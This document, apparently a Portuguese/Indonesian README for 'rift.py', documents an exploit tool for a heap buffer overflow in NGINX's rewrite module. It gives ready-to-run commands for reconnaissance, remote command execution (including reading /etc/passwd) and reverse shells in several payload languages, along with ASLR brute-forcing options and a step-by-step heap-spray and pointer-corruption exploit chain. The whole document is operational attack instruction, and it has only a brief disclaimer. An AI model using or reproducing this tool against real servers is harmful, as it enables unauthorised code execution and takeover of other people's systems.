
Foi encontrada uma falha no NGINX, especificamente dentro do ngx_http_rewrite_module. Um atacante não autenticado pode explorar esta vulnerabilidade enviando solicitações HTTP especialmente criadas sob configurações de reescrita específicas. Isso pode levar a um estouro de buffer no heap no processo worker do NGINX, o que pode resultar na execução de código arbitrário.
Autor: Michael Sanji Winaya Prawiradibrata
Coautor de IA: Varanus — meu amigo
Estrutura de exploit de heap buffer overflow direcionada ao
ngx_http_rewrite_moduledo NGINX.
Uma ferramenta para reconhecimento + exploração. Zero dependências externas.
| Arquivo | Descrição |
|---|---|
rift.py | Ferramenta principal. Combina recon + exploit em um único script (1026 linhas). |
README.md | Esta documentação. |
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
Ao usar --shell, o script automaticamente:
--shell-type--lportnc -lvnp), fallback para listener PythonSe o endereço padrão falhar, o script desloca automaticamente a heap base em ±5 passos × 0x10000, procurando um endereço compatível. Não é necessário configuração manual.
4 tipos de payload de shell — python, bash, nc, php. Escolha o que estiver disponível no alvo.
--recon executa 5 fases:
--output json para integração com outras ferramentas ou parsing automático.
O alvo do exploit é NGINX com configuração rewrite + set assim:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
Consequência: o buffer alocado é pequeno demais, o escaping de URI (expansão de 3×) causa overflow.
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto para o deslizamento automático de ASLR--verbose para ver detalhes por tentativasudo ufw allow 4444--lhost — certifique-se de que o IP local está correto--shell-type bash ou --shell-type ncFeito apenas para fins educacionais e testes de segurança autorizados.
O uso em sistemas sem autorização é ilegal.
© 2026 Michael Sanji Winaya Prawiradibrata
Coautor de IA: Varanus
| Flag | Função |
|---|
--recon | Reconhecimento completo. Fingerprint → vazamento de informações → teste de endpoint → contagem de workers → estratégia. |
--auto | Recon + exploit automático. Igual a --recon e depois segue para o exploit. |
--check-only | Verificação rápida. Detecta NGINX, versão, endpoint /api/. |
--cmd "command" | Executa um único comando via system(). |
--shell | Reverse shell — abre o listener automaticamente, envia o payload, recebe a conexão. |
| Flag | Padrão | Função |
|---|
--port | 80 | Porta do alvo |
--lhost | — | IP local para reverse shell (obrigatório se usar --shell) |
--lport | 4444 | Porta local para o listener |
--shell-type | python | Payload de reverse shell: python, bash, nc, php |
--heap-base | 0x555555659000 | Endereço base da heap (override para bypass de ASLR) |
--libc-base | 0x7ffff77ba000 | Endereço base da libc |
--tries | 10 | Tentativas por endereço candidato |
--verbose / -v | — | Saída detalhada por tentativa |
| Flag | Função |
|---|
--fingerprint | Detecta versão do NGINX, endpoint, módulo rewrite |
--leak | Verifica vazamento de informações (endereço de memória na página de erro, timing) |
--test-endpoint | Testa o comportamento do endpoint com vários payloads |
--endpoint | Caminho do endpoint para teste (padrão: /api/) |
--generate-exploit | Gera script de exploit específico com o endereço do alvo |
--output json | Saída JSON (legível por máquina) junto com a saída do terminal |
| Constante | Padrão | Significado |
|---|
BODY_LEN | 4000 | Tamanho do corpo do spray (bytes) |
N_SPRAY | 20 | Número de requisições POST por tentativa |
LIBC_SYSTEM_OFFSETS | 7 entradas | Offsets de system() para várias distros |
PREREAD_HEAP_OFFSETS | 19 entradas | Candidatos a offset de heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Heap base (ASLR desativado) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Libc base (ASLR desativado) |